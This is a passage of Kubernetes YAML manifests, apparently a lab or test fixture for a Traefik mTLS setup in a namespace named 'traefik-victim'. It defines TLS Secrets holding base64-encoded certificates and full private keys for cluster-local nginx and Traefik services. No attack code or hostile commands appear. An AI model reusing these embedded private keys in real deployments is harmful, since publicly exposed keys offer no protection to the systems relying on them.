HREESjBIgiF0cmFlZmlrLnRyYWVmaWsuc3ZjLmNsdXN0ZXIubG9jYWyCIyoudHJh\n    ZWZpay50cmFlZmlrLnN2Yy5jbHVzdGVyLmxvY2FsMA0GCSqGSIb3DQEBCwUAA4IC\n    AQCNgyOjbWEyWa2IltpSxnt2+9pbUsFeprl2r2vzYH/j56lpnjlQXJEpZsfC40Km\n    aEylZhIrCqxOnuyGHQ1HF8yczS7Hd2NPK7HlHCMwpH2bnoQymgw1/v+Y9bFlnRcY\n    A2Ccn13mURPhoDZYCAeoMG063Ee56u8NTJrz2VmSw8xJo2CwBF+vzFEHzQHPosJK\n    laY+6sJraxM3x/eIDVg3hLl6u2KZmErzSDE12LTC2Nodjv6VkdMqwJSiQ5bOEYdg\n    bA6vNH8nOqeTBeKGjkt7+EYbI/oW/3ZRirZL/RqNrgv+fPkFxjoXmD1rtP7HGDkf\n    ZSGejBIe+9lyXnl0+rYHPm96J2b5q3LERdBmkecRoUmrebZ9hDLI5F8EAnOe+pi2\n    QjWCwsj6orCLFDAkFT0iedCTjvGMPya3Fe0f5tMUz0y6ZyDb9JRZjNMAOMm5r48W\n    QhK6GMlPmK4G5tuLD4WCeQkvvdjuYrI/ykLQxvwlAOR1C8uYXwJpB7DsUUZUHYos\n    YjzpSlkdIhPSbOm9iKSuhGFQVDtBl3p5Vemc6r/w8vi6CTxq3aK7RPH/mQ3qkXKV\n    93ilHd2pALCVVQxWNVWbFc2tC+8huJnNsv2pEOLC302q8oWiDc4I0lcq6t8bHSkN\n    DtmLINbtzdQ/PK6q7RJU54TLfA8O4ticj8HLzozsDMEuDw==\n    -----END CERTIFICATE-----\n---\nkind: Secret\napiVersion: v1\nmetadata:\n  name: nginx-tls\n  namespace: traefik-victim\ntype: kubernetes.io/tls\ndata:\n  tls.crt: > # mtls-nginx.traefik-victim.svc.cluster.local.crt\n    LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUZ0akNDQTU2Z0F3SUJBZ0lVSnFKb2VvMElYa2dLcjRwOGpBWEtJb1BoSFpvd0RRWUpLb1pJaHZjTkFRRUwKQlFBd05qRTBNRElHQTFVRUF3d3JiWFJzY3kxdVoybHVlQzUwY21GbFptbHJMWFpwWTNScGJTNXpkbU11WTJ4MQpjM1JsY2k1c2IyTmhiREFlRncweU5URXdNVGt4TkRNd01UUmFGdzB6TlRFd01UY3hORE13TVRSYU1EWXhOREF5CkJnTlZCQU1NSzIxMGJITXRibWRwYm5ndWRISmhaV1pwYXkxMmFXTjBhVzB1YzNaakxtTnNkWE4wWlhJdWJHOWoKWVd3d2dnSWlNQTBHQ1NxR1NJYjNEUUVCQVFVQUE0SUNEd0F3Z2dJS0FvSUNBUUN5Q1BHWmFVTk92VnN4bGtiMQp5RDMvSnkyNS9vQmFmNlBTdWc5Q3NWWnNpU0lOeXJiaGpwRmRXTlQrY0dEcGg0d2xpaEZVWi81YjB1UlcwUG9vCjloU243QXRWSGVwZzRCU0g5VmF1U1BzSENDdWxQTDloU0orVDJKN3k1ZjNnd0VHanVJZVlyNWhrb0h3L1hGdSsKOXZKVHdnbkJxT2ErWVIvTEppQmQ4QnB3R3doeEE0a0NjbFRvOHNZTWFwWDh0U25ZbXBOVE1IZ0NPdlRnNi9DeApLYTRHUytMTnhpUkg5aDZyeFpMSXhBNDlkdVFVU3ZkR3NFZjFNdzlza1dmMmRFVUdUdVR5NWdaU3JGNDZkak9pClFNVzBZWmZDRXp4WGUwVHN2TWR6WnNzTVRDN1doNnlmYUNvc2dDRkhzSC9kanZTQW5JZGNpN3pZUmwzdVJZK2kKVDVvejk4dFMybHgvSGVlZEoyYWI5Q2VqTmxFQzB2c1A4YzJ5enVwUnhScUVrTVQ0ejZ4QksyNTltYXdiM1FoUwowQk9VbEg0S29DVWR3bWVEcVZlMVhrRG40MjFKWjBZMTRMSVJsRDRCMEsvVGVBZUFTeXFwSDZPR3JMKy9Cd0pyCmdOczJsSzAyVEZLQTVpNHBoanVjS0Jodm1FOUJvdUh5UTVlZUpqNDFFQkdaM0RNSmZDekZ1SUxNaWxrRG1VZkQKdVczMm1YR2FmS3dKOVNvdVdjSk82KzR6aFZKQitkdnRqTDlhT2JQY1JsS2J2WUtRYjVZTEFVQ1d1TGJxcnc0eApqbjRZTythRUVYVjVXTHRUOU1mZm94OTR1SG1ORll4ZUxrNVVhWnJMSTN4a25FODhQdExENE16NFJBbHc1S3FuClB0TlgvQmZIaFMrYUh5amlvc2tHODN4UTNRSURBUUFCbzRHN01JRzRNQjBHQTFVZERnUVdCQlRCTDl1MVU0aVAKZ2lQZDNmNS9rdDd2Tng1dEl6QWZCZ05WSFNNRUdEQVdnQlRCTDl1MVU0aVBnaVBkM2Y1L2t0N3ZOeDV0SXpBUApCZ05WSFJNQkFmOEVCVEFEQVFIL01HVUdBMVVkRVFSZU1GeUNLMjEwYkhNdGJtZHBibmd1ZEhKaFpXWnBheTEyCmFXTjBhVzB1YzNaakxtTnNkWE4wWlhJdWJHOWpZV3lDTFNvdWJYUnNjeTF1WjJsdWVDNTBjbUZsWm1sckxYWnAKWTNScGJTNXpkbU11WTJ4MWMzUmxjaTVzYjJOaGJEQU5CZ2txaGtpRzl3MEJBUXNGQUFPQ0FnRUFaZlVYUHVpTApGVTRPMHlSUXBDeFduZW5GL2hEWVgvS01NcnMzUWd2ZHNQcDZBOEg3dGxsM3FSaFRWMFBxYXI3SW1EOWdmT1NNCjFnU0s3dzBJd0ZoVndjUmFQSzMwVGFXZjNtTXJ6bm0zclJRK1NzcEFSTjFYRGJsR2JOSUpwNlF0ZHNDVGRpaUkKcTFFWEwycGwzaWczVjNTWVNkUGtXKzhBYVgxZDZkdmlKLzFjK2ZiVS9IZlRINXdER2NWTktFendMOHJqRlpjVQp0eXZLWHpuOVh6eTZYQnZUbTBQczczZ210UkxZTStMd21UdjQ0OG1NbVdJWFVreVFGMFdncTRCaStyM0lYYldDCmV6OFVQNFNnWkR4WkRBVjY5dGhXMDZvR2xub01YNlJsR2lzRnd3ZEZuZWxmS0RXeWlYYk9wVGtaWjlCQUhoQWUKOU9JWVRFVmp5RFNHWGNLcGNTTFY2Z29MVVExR0VYZlBGaE5EWis1UUFHcGljeHYxdjFUVUpBNEFqS1VSYlpIRApvclhJd0IvTVc1VnpsMGRNM3k2ekJ1aUlMWUJUMVdidVI5MWlsdGxtR0JBVGdGNlJlNk04SnlmYW10bHNxbHR3CmNUQll4LzBYNzljT2FNM21iTHlOeWxiZkhMek5USmx4em9OTXNhR0J4RVNJTFovRnFkWmhjeTJBOW1IbGV5VlYKSVdJRjlmTDZpS2IxN3dMbXhWM1pxR3JMZFNraXRPNUdjYjVWTWc4U2VSLzNPc0pySGtQZy8wRlhiMDlUY2V4VwplbFZSVzhyWHhLQldjT2dZaWhQK3hweTJiUHV0bWllaVFpZVpUMVMxSXczSWJMWXBxYzNvU3NmVklSSTJ6R0FJCkJVNHREVHBjR3ZOdEErVGs4R2xJcnppSmV0QUlhNWRvaTFJPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==\n  tls.key: > # mtls-nginx.traefik-victim.svc.cluster.local.key\n    LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUpRZ0lCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQ1N3d2dna29BZ0VBQW9JQ0FRQ3lDUEdaYVVOT3ZWc3gKbGtiMXlEMy9KeTI1L29CYWY2UFN1ZzlDc1Zac2lTSU55cmJoanBGZFdOVCtjR0RwaDR3bGloRlVaLzViMHVSVwowUG9vOWhTbjdBdFZIZXBnNEJTSDlWYXVTUHNIQ0N1bFBMOWhTSitUMko3eTVmM2d3RUdqdUllWXI1aGtvSHcvClhGdSs5dkpUd2duQnFPYStZUi9MSmlCZDhCcHdHd2h4QTRrQ2NsVG84c1lNYXBYOHRTblltcE5UTUhnQ092VGcKNi9DeEthNEdTK0xOeGlSSDloNnJ4WkxJeEE0OWR1UVVTdmRHc0VmMU13OXNrV2YyZEVVR1R1VHk1Z1pTckY0Ngpkak9pUU1XMFlaZkNFenhYZTBUc3ZNZHpac3NNVEM3V2g2eWZhQ29zZ0NGSHNIL2RqdlNBbklkY2k3ellSbDN1ClJZK2lUNW96OTh0UzJseC9IZWVkSjJhYjlDZWpObEVDMHZzUDhjMnl6dXBSeFJxRWtNVDR6NnhCSzI1OW1hd2IKM1FoUzBCT1VsSDRLb0NVZHdtZURxVmUxWGtEbjQyMUpaMFkxNExJUmxENEIwSy9UZUFlQVN5cXBINk9HckwrLwpCd0pyZ05zMmxLMDJURktBNWk0cGhqdWNLQmh2bUU5Qm91SHlRNWVlSmo0MUVCR1ozRE1KZkN6RnVJTE1pbGtECm1VZkR1VzMybVhHYWZLd0o5U291V2NKTzYrNHpoVkpCK2R2dGpMOWFPYlBjUmxLYnZZS1FiNVlMQVVDV3VMYnEKcnc0eGpuNFlPK2FFRVhWNVdMdFQ5TWZmb3g5NHVIbU5GWXhlTGs1VWFackxJM3hrbkU4OFB0TEQ0TXo0UkFsdwo1S3FuUHROWC9CZkhoUythSHlqaW9za0c4M3hRM1FJREFRQUJBb0lDQUJmRnFram9tQjhDbVdqV0h1bldUOXpxCjJpZ01nUTZweU1kVys3bXFoMEV5ZXhScUNIVzJ2U3lWM2g3a0JOOWtoTm53V25SY1RISkRYSHBHZmk0THFiZHIKQlJwYm03NU5hQlc5WHlmTXdUbHZwYkJJY1JUUzNIMU5LVVdDdGZNVmlNNDMwZ3laQ2NRSjlTZmFzN29jZ1pWSQpncTFVQkdJbHJZS2VqU2VEUU1IT1Y1Z0xqUGNCZ0MvNHJCUTFXVFg4bExhczhTdGtVZW51VXd0WXhjaWZmdkt0ClNGUUo5ekhsVXdsdTlnb09aUWtLVlNzV2dDSjFZRmtGSDk2ZHpjckg1MUxsSkVkV0NwWERHVWs4eGo2TjMrTHEKNkd6TUltY0YrUzZUM2NmeTBQMmhOZHlFWjVBdUdhVGIyUUJ0dUswWXJRZDM5SHB1MkRaQ3N4WjJrd0Z0Ri9MMgphd09SYWlrZEhqNWtBc0tuYkRRb28ySnJRTG41N0ZwaW9jOC92Umsvek1jeVREMkN3UGlzYURmenBwTm1LaWR0CnlieEFxcklJOEZIcG5XVHNlVFV1dEtZanNTNy8vSFNDNHpwN0ZCK2IzY29TSjVaS0c5aDdVOCtqSXN5MHI0MUcKNllqVyt2MzNibWttbmJOWnYrelpUbUhJTFJOVXNFZjdSeXdiYnRSZkVkTkEyR2Y0OHpKc0d6SXhZLy8zbjBRTgpnYzZPakJYdWhUL2lmT0VIdERVTG1yU3RoZjBHcVB4SC9pSUlyLzJ5M05IRG9yaitIeGlsYS9PUk9Nbk9qRCtDCkI1RWlYell6YWFiZ1FScE1XaWx0NXMrU1ZFdnJKVnBFNm95S1hXeXdZRzhiWENxcGdlTEduN2tRRStBakF4Q3MKdHdLc25qSUlJTUJtUSt4YzN0Z0xBb0lCQVFEZFhvdm9CM0tzdFhHTHl3ZVlJL0ZCM3JLdU9lOTIweWpFVGFYRApoYWhpYWJsSUxlWkwwamh3d2pRNmt0ckhubUZZRTNPRURGRWxabnpWejZJcjJZOWZiaUVYZWFGUTk4UHJKejE2Ckt3SjUyT0lrTjVTYVVlcW91akxpUXdpYWc4dUpQYlNZZUtpK0hqK1VDbHdGenN1b1M2Qy9qVnJPdmsvb2Job0wKVXgxM1B2RDBIL2hXSTBTQnRJZW9RMWpIZ0dUWnlPWkE2YXM5M1ZzUURiS1p2dHlnRVdLMFdXODRIL3JDZFloSQo1OW1nS0h4YXJJMTdRY3FpMXVhTkk4amlXTTJ5NDgzZ3B2ZzgrZWFCcFJsRXNqN1NnU29hdnJBMk9NTmhHYlBDCjhPbjBZUFdENWxYajVJSFJUT2MxTkwyR09OSEg5bi9XWGhhM09oR054czV1RU1ZWEFvSUJBUURONHU1VzllU2kKS3NUTHM4MWNidHM1QnZqbkx6SFBLSCtnbVNlMDhjUjBNZzdoeGowUVB3N2pCTGgzUFZmSzVuU2xRNWtRR3FhcApYa1BBR2tERThKYUlVbEFJdGh0N2dTb3dkMWxqd2h2SUxua3RJSmpCSmxXd0pBK09RQnJ4dVVBc1orY2tQd2xuClVFemZyd0JZcE5rRFIvcUx5VHZCZkxOcnVSNnVsNFBjcmxNUnZhQTF3cHdncEdxNUJnNG15ZWMxRU5MRHZuU1UKbmw2b2tkWWdEallhSGxIQzhWTzQzTDJTcEljRHgzUTZyY2Y4ejg1ZUZickxyR1JzU2hIZGJFdHkxcVpiS0NiMQpIV2pQa010S0x3NnJGRDlRaGNaZE1Hb3VNYTUvZG56UDNuNTV1aUxJMVhwak1wUWRrMmVqMkx1b1pDSmp1eTJYCjc1VFhpNnNyankwckFvSUJBQlhLUDdWSVBtWjN1Y1NMNktSMkxVSlJuSDcvM3Uxd1hadnRGTHNKUmdqaDVVWVEKbHBHeUVMSXd1NWxrYVRxckFXUDlEaXJhVjRaNTd5SFF2V0xabUg1SlJlS2NxMTlmOUI0S2o4ZWR3akdpUXFoVAovRUd3Zkl1OVFGTDdURGFCY0tDQ3ZXc2d2V054Y01xdXRsNHYrK1lHQTcyM09WQU9kYWtvWlZIbURZbDJYWnQ2CkppUzhkZnJhZlZ2M3ZSNXVLZjh5QWxBemNCSzMza1hYUTFSVThEeWxXWFR0Tk1CdWpXMWt5bFI2MWZZbzVneTYKM1haYmhJbkE0NUxUQ2V3VjE3R2JNT0hETGI0Nnp4REY0cFhiZ2NtUXcwYzhxL1c2WXFrRk1hZW50Uy9EOTRiVApQbk1mUkJRSklOMGc0dUw2WnRQckZLeFNPS1F5aUJYUGt2Uk1uR01DZ2dFQUc4eWxZK2FGdllQSzJMcHBZeTZ3CnVRMkE5QzVDS25lTWJCSGg4Nk9sWkE4U1JWZndETTZHNHc1VEhmNlJhUnNlNnVXcXVDcnhEL05qY0gvYStQeUgKUnRiZWFaNjFMVUx1Z0diTkVoUTJqaHdBVHFDVkg1ZGVnSThON3FZblBUWkhQUGUybFFWUjdyby85di81S3Y3dgpNbXM0b0VGR3FVUitNWEJvZlNpR0xIajVURzd2UC9NTUE3aFBsTFlGbVNVdjY5RmV0QUYyV2s3Yjl5VGg1YWdsCmsvYytFUFZtMlpJc29xMUdjYk12dFhDYmpUNDkzaVJPK1l0SWIvcThXTXB6a1lqOEkxalRrY3NyeU1NRFAvd0UKbmdMNDNaV0NpRGl1VFpoMXVFNDJZaGJudXVYd0ptLzB1NG9yeDZhTW11bjd4S3Zvbk5DOFFrU2VNMUJ2aDAwbwp5d0tDQVFFQXh4dzFBVTltNGF4UGsrZDdlZzJkRFpobW13N3l4MmlObGEvdEV6aGkwM3VCdXA2eENZTEN1TUVYCmFOSmNVcmJ3c3Rzazc2Zy83YjJXdVZ5UThBT21ZZWk0ZzREcFpEWUpPdjNaVjZmcjhoUSs3ZUFlZUUyQVovZ3UKUnowSG14dWxrWHVYcU9QcW1tZ0dDWnl1SmluWmJiYnNsMDFQb2N1ZkpHZ21tZnVndzBFb09VT1VoaFVlSUM3VwpzV3lGQm5JMWlSVDFwTzcydkovVUxTak9mMERUcW0wY3M1c1FiQUNtbHptcHhlVVZWeGdZeG8vMSszeW51aWhWCjZlOE10a2NJQk9lZjU0eHBMVUVOL2dGY2dNeU0yaXJ6VmxJSUdSODNsZEx4cEZBUHRzUU5OTkVFTjk3TlZLQ2kKUTdkNi9SLzg1KzRMZzdnKzljSEN5d09GbmVrbzBBPT0KLS0tLS1FTkQgUFJJVkFURSBLRVktLS0tLQo=\n---\nkind: Secret\napiVersion: v1\nmetadata:\n  name: client-cert-secret\n  namespace: traefik-victim\ntype: Opaque\ndata:\n  tls.crt: > # traefik.traefik.svc.cluster.local.crt\n    LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUZqakNDQTNhZ0F3SUJBZ0lVQXBBRkNUZ0tlbk8weUZIZVZqSUJRQ3hTRHVZd0RRWUpLb1pJaHZjTkFRRUwKQlFBd0xERXFNQ2dHQTFVRUF3d2hkSEpoWldacGF5NTBjbUZsWm1sckxuTjJZeTVqYkhWemRHVnlMbXh2WTJGcwpNQjRYRFRJMU1EWXhNVEUxTlRVek0xb1hEVE0xTURZd09URTFOVFV6TTFvd0xERXFNQ2dHQTFVRUF3d2hkSEpoClpXWnBheTUwY21GbFptbHJMbk4yWXk1amJIVnpkR1Z5TG14dlkyRnNNSUlDSWpBTkJna3Foa2lHOXcwQkFRRUYKQUFPQ0FnOEFNSUlDQ2dLQ0FnRUF1Zzhia1ljbGVFbUQyWC9ZUU8vQ00vL0NTNDJHQ3hodDVTUlJUL3ZiaXorbApMWkZGdlJzRFdjN0ZJTStZVHZCU2MxM29UdjcwMGpjS01RQjR1UzV5KzErbnFRVjVhWTdSTkgrZXRodUg4NTg2CnlDL0wvSitJeHFQY0xtMTBCbDU0L0dRRjNIRjdqaVl0dk5lOFUveFRaeW5tdENPSVM1QWp0WWRhQUcxWExTaDMKSnV1elhyZUYxNDVIU3FQaEhySWlESkdJaGh5eVFDODMxaDUrQjNzelJWeUtIM3Bjc0k1M0tsdTJYUXdJUjR5NgpPTWtacm5ReE9pVFB6OFNydUNnSWwwdTFPdHN0Nk0zQWJ0TXB5VmU0RjFMbjRYaU92T1R0Qm5LTjFEb2YzNWdVClJ0YmF1LzJwTnRpK1FrWjg4UHd4enI0UXl3YTQvYVRzRDQvZ0RDWnNLa2NZaVNsOVB5ZFN3Q0pMSXVIYnJVSEwKVkJCZFF2S05QSU9ZOWxsWU1yZXBuV3ByYW9jb3dNc0JCdUg4dG9ETlJHRHFPdzJpZkRia1k1QUE5K2FrQzR5agpsSlhlR25jSUdaV2V6Nlg3Rk5DeWk3U2ZIWjhuOFRPZ0tqaUozMmZyak5tTGdXWEhpelorb3VEY2RCQkdmMXphCkR5RndKZ2Fwamc2OWRNeHlwc0NUNVlDV2hiUkhuMXlndUgwckxKT1BlYXVZOWFPMHJEWGg2SU02N2J6TU50QmEKajlUcTJ0MjlSOE8wbyttajdKMVpHVUZRbkNPbXRHalpPMjI2ZGp3RldXVEJKVUhVMTFyeXp4KzVPVE1mYkxDcwp0SmZ6R3VqaitGcnJiMWVoaS92TkxyeWp3K05sNHF6bUlQRlNaZWVXUnQwQ0JkQiswWklseWdGWTFjeUJyRkVDCkF3RUFBYU9CcHpDQnBEQWRCZ05WSFE0RUZnUVVLVkJyVzRMSmZRNktKbmdyTDRFYk1mR25FV0l3SHdZRFZSMGoKQkJnd0ZvQVVLVkJyVzRMSmZRNktKbmdyTDRFYk1mR25FV0l3RHdZRFZSMFRBUUgvQkFVd0F3RUIvekJSQmdOVgpIUkVFU2pCSWdpRjBjbUZsWm1sckxuUnlZV1ZtYVdzdWMzWmpMbU5zZFhOMFpYSXViRzlqWVd5Q0l5b3VkSEpoClpXWnBheTUwY21GbFptbHJMbk4yWXk1amJIVnpkR1Z5TG14dlkyRnNNQTBHQ1NxR1NJYjNEUUVCQ3dVQUE0SUMKQVFDTmd5T2piV0V5V2EySWx0cFN4bnQyKzlwYlVzRmVwcmwycjJ2ellIL2o1NmxwbmpsUVhKRXBac2ZDNDBLbQphRXlsWmhJckNxeE9udXlHSFExSEY4eWN6UzdIZDJOUEs3SGxIQ013cEgyYm5vUXltZ3cxL3YrWTliRmxuUmNZCkEyQ2NuMTNtVVJQaG9EWllDQWVvTUcwNjNFZTU2dThOVEpyejJWbVN3OHhKbzJDd0JGK3Z6RkVIelFIUG9zSksKbGFZKzZzSnJheE0zeC9lSURWZzNoTGw2dTJLWm1FcnpTREUxMkxUQzJOb2RqdjZWa2RNcXdKU2lRNWJPRVlkZwpiQTZ2Tkg4bk9xZVRCZUtHamt0NytFWWJJL29XLzNaUmlyWkwvUnFOcmd2K2ZQa0Z4am9YbUQxcnRQN0hHRGtmClpTR2VqQkllKzlseVhubDArcllIUG05NkoyYjVxM0xFUmRCbWtlY1JvVW1yZWJaOWhETEk1RjhFQW5PZStwaTIKUWpXQ3dzajZvckNMRkRBa0ZUMGllZENUanZHTVB5YTNGZTBmNXRNVXoweTZaeURiOUpSWmpOTUFPTW01cjQ4VwpRaEs2R01sUG1LNEc1dHVMRDRXQ2VRa3Z2ZGp1WXJJL3lrTFF4dndsQU9SMUM4dVlYd0pwQjdEc1VVWlVIWW9zCllqenBTbGtkSWhQU2JPbTlpS1N1aEdGUVZEdEJsM3A1VmVtYzZyL3c4dmk2Q1R4cTNhSzdSUEgvbVEzcWtYS1YKOTNpbEhkMnBBTENWVlF4V05WV2JGYzJ0Qys4aHVKbk5zdjJwRU9MQzMwMnE4b1dpRGM0STBsY3E2dDhiSFNrTgpEdG1MSU5idHpkUS9QSzZxN1JKVTU0VExmQThPNHRpY2o4SEx6b3pzRE1FdUR3PT0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=\n  tls.key: > # traefik.traefik.svc.cluster.local.key\n    LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUpRd0lCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQ1Mwd2dna3BBZ0VBQW9JQ0FRQzZEeHVSaHlWNFNZUFoKZjloQTc4SXovOEpMallZTEdHM2xKRkZQKzl1TFA2VXRrVVc5R3dOWnpzVWd6NWhPOEZKelhlaE8vdlRTTndveApBSGk1TG5MN1g2ZXBCWGxwanRFMGY1NjJHNGZ6bnpySUw4djhuNGpHbzl3dWJYUUdYbmo4WkFYY2NYdU9KaTI4CjE3eFQvRk5uS2VhMEk0aExrQ08xaDFvQWJWY3RLSGNtNjdOZXQ0WFhqa2RLbytFZXNpSU1rWWlHSExKQUx6ZlcKSG40SGV6TkZYSW9mZWx5d2puY3FXN1pkREFoSGpMbzR5Um11ZERFNkpNL1B4S3U0S0FpWFM3VTYyeTNvemNCdQoweW5KVjdnWFV1ZmhlSTY4NU8wR2NvM1VPaC9mbUJSRzF0cTcvYWsyMkw1Q1JuencvREhPdmhETEJyajlwT3dQCmorQU1KbXdxUnhpSktYMC9KMUxBSWtzaTRkdXRRY3RVRUYxQzhvMDhnNWoyV1ZneXQ2bWRhbXRxaHlqQXl3RUcKNGZ5MmdNMUVZT283RGFKOE51UmprQUQzNXFRTGpLT1VsZDRhZHdnWmxaN1BwZnNVMExLTHRKOGRueWZ4TTZBcQpPSW5mWit1TTJZdUJaY2VMTm42aTROeDBFRVovWE5vUElYQW1CcW1PRHIxMHpIS213SlBsZ0phRnRFZWZYS0M0CmZTc3NrNDk1cTVqMW83U3NOZUhvZ3pydHZNdzIwRnFQMU9yYTNiMUh3N1NqNmFQc25Wa1pRVkNjSTZhMGFOazcKYmJwMlBBVlpaTUVsUWRUWFd2TFBIN2s1TXg5c3NLeTBsL01hNk9QNFd1dHZWNkdMKzgwdXZLUEQ0Mlhpck9ZZwo4VkpsNTVaRzNRSUYwSDdSa2lYS0FWalZ6SUdzVVFJREFRQUJBb0lDQUFpZ0pTekt1V1c1Y01PZlRlajZ4SVBSCkhsS08yZEUvWFc3alQySzRJQjQxUWVUYUtJUERFaFZ5aE1pSDN6MS9uaTdyZ2xiUk1vdmhVZGRpT0hhTFRQalMKM3l5eWpJV2tnWlhmdWIyakNwczBmVTdsQ2wyb2pyaDR4YjhnUTJIOU5Mb3NyK25mbC9VSDE1UjY0dWY0Mld2OQpzUXlXWGgzMHJYY2Zzb0ExRVhiT09ySGkrUEtSNndKS2Znc2JqRmIyTnFaakE5T0Yxb3lyczdpNU9xb0JuK2VlCkNlZzZMYnhncW0wY0Nka0g4d1ZRSkp6MzA3azIrVVpEQ1NCT2M1Q0t5SlV0QlJhWXJTanZDdllJVTVaYU92WlgKMlZpbVZHVzA3amtmaSt3MEVxQzB4ZkhmeVkyd0RZMTFvR0pscnFxa1luRzlkWDFZRHpEeEdhR0NEOGE0YkVpNApJWjVwVkx5b016QmRZdzY0ZUErNWdzQWYramJQVW5NMzFyMVd1bEhEWlRGc05FOUFaQ1FRdTd6bGdESlI5eVd0CmdKb1JoOWtrcHNuZ3NieEEvUTZkRlBIZG9HNUFFRmJvamZvRk50ditYMnVwN1ZYSlJrYjZzUlFHNFBac0RNSHAKWHp0UHo1OS82T3psRUdjekxMMDZQS000czlkSDNYUTA5bXZES1VhemdSMkphOWFyeVh3bE16b1hiTHJYeVR5SQpHeE1oclFKTUx5NzlCWkJpYytlbnROTWZLNzM1VC9HMlRmN29KVFRlRFI1ODI3UjRsMjEzWHhnUzlMakJCcm0rCmZXa1RTeVdIZ1ZaUisvdWMzMXhCcWIrM2granJKKzVpcVhZT1RXa1JkKzhIcEFzUmRqOUNzUXF6QXRKTkp5Rm4KazlzLzBISkE1eXA1L01nWkw1cTlBb0lCQVFEeDlwWEpGWHJUeGJnZlRRY3A4dFc0L25mRFlGemJlcGcvcE5rWAo2ckZCemFlLzFYNXZqMUpuUDkyWDM4eE9VMG9oQ3BTcnlLWm81K281WXJSeTZXNElFZEV2MGVlelVWU1lDVVR5CjNmYktCbUN5TytRZzZ4Si9nbkZZTlB5cjRpZGd6VFJxUnFnV3M5TnROTTBsSlphdnViVHBDY1I3a1ZaS1pnV3gKcS9HNHhwdE8vNUZEcVRTNk1LNDlXbjA4RTltTmpUdjZTRmlPSkJsYkhrUGVrZlFSY0VjS09JUlN2em5uSEY3MgpSTXpKMEJRYW9RZXRGem9LbmRMWVBLVS9tVjNJSElwYkVCd21pK3IvaW9BOW9TNElKL25HckNVM1JHTWliYlQxCkZla1VyN0YvWGlXM1ZaSmNSQUZPOFlvSUlQSjlyb3hGOXNnVzVySlFoc1RGOTFNbEFvSUJBUURFMmtqbld0QW0KSmZTN0piTnlFOEZ1YmVPaUZQNWxVOXJSNURkcnRtUDVBeGVjUGZXamY5eTh5bkNkb0hxMWRidEExeElUUG9mNAphcGthL3RRbDZSNGdwNEdycWFyd2ZYUmllUk8xdHYrM0k2VHNoY0M0T1VSOXVOaC9oTk1sUXRmZENxcUJvTlpiCkxocml0RW9wN1grQWdHUGhwbVh6RjdUTEY3RzBWY1QrdDZjZzJvczdZQUhpakdrbmdCeFp1dXRhV0dHRzNYZkQKMStvNmlnb25Wd3dTeHBLdjlMTnZGcWZkd2NVbzgyWG9lWWpFQUphYm1kRGdmYzhxUkp1YnJGQWJCTDA0UlRoYgowMGkwTXpqZ1dLem93L25zekZNeDIzSUk0R3RPaEFXVWorOG11ZnVvTnNKZFg0RkQxb1YzcUN6UStESFg2Q1phClZEc0xwcS9iUndLOUFvSUJBRUJSaVAxNzdUdVFDbUtmcWpEWGNVS011aTlBVlU2dVp2dzhDTTFYd0tpNlQwWXEKTFVMZ2VVb2k2dmV0TVBUOUpPNWxqcUdmWThUdEtSRDZFUGVlMzNYYnJweWtrby9USmNhSWFFQ2JDamdudTlxRgpHeDQ0L3FEUWZ1cXdveDNacnhnSFZGQ1AyYXkzUHBOLy9xeEtNcVVobTFwN0V6UzVySk40VFRrdWVNSGlZWFI5CmNSTG9UckRUc2Uxek9Xa1g2Yk84QUY2R2pxdXlJdDlheXpYRjNIZ3FQV2dWSCsrVEQ0UkV3V1Y3WW1pZkhFajcKMXp1R3VoSUtZL3JCSERnc3Y0WXJPQWYrMzB6TDBycjlDUnZZMVpDcmQ3VDlHNk4yVlZmWWk4cStlVWZiY0RabwpRMlJacGQ5SzRJSW9xTVdDWkpOT0s5R0pTU1QxVEI4bHcvYlB5TlVDZ2dFQkFNUGsvZHZOa1lvRkI1QWRxbitCCmpXS1pWSWY5SUZReHFIWnJCNFBYRTVIQU5BUzEyL2FDeldYS2gxczFVaWUySzB3Uk90bVB4cnU5U1BPR1dCUUoKOG9OSWJsQW9IZ1lJc29NMFBocjlLMmhTdmxMcG42azB4Q1hnaHdJUGFoZVFkMFJ1MHRNQS9ZL3JSN0lHL0M3UgpPNnJqR1lKNmxzWGM5M3VMN3JtcENNcjZkQVRMdHZhMVNlcnJFOUhOT1dsS0M5L3lSOHR3SlRqdGF4Z3FPb1IvCnFYSWR6ZWZ3T1lmNUljQWFqbHQ4TEJPMnJoVnZDSEY4RmxMd24vSk9LQlE0MjlhblZxM2lwSDBzdXhNb1RoZGoKNTE0VGVHamZ4SUsvQUxJNHNsQ0dMUTkwVk9kUytVNmlmN1Z2enpGMUQ0ak9BUnRMZ2o1N3RYNzZoMi9HeHdZTgptbmtDZ2dFQkFMcTNpSFl3NTBmWHlJSnd1eGN4amd6YkoyZzY0TjdLcHZwK3Y1QzFGWXJRTnpKZ0JHMnZoTWU4CnJqdTlZeVFnazVsdStyZ0lOQlplRzhSaDN4OXA0WGFMUXNueVZ0SWQrSnIwV0RpSWdZUVh4UUNtWko3aTB2ekYKcGpXUzA4SVFJdVVqM2hUT1lTeG92YW5HZFRZWkVkaUt6ZEFuaWJYSkZzMEpyQXpJOHJLSGFBRlpCczV4WDhLYgppT1U1ZWZ5cTZRb2pHM1VneitlRUcyZzhlc1pzQmZkQnE5bVJ5NEwvN0toNEV4TXJpOExGRDI3dzV2TWFPOXRQCnovbmVLM0xOd05xYlNnRW5nRG00eE9QeTByWHVYYWdQRnppd1F4anlTdm1YNXFQNUxGNG9QMjRRSS9Ia1g2RVkKa2dVVG5MZXU5NXBwY2Z6V1lPNGNidHVNQzZDWHNnQT0KLS0tLS1FTkQgUFJJVkFURSBLRVktLS0tLQo=\n---\nkind: Secret\napiVersion: v1\nmetadata:\n  name: nginx-cert\n  namespace: traefik-victim\ntype: Opaque\ndata:\n  ca.crt: > # mtls-nginx.traefik-victim.svc.cluster.local.crt\n    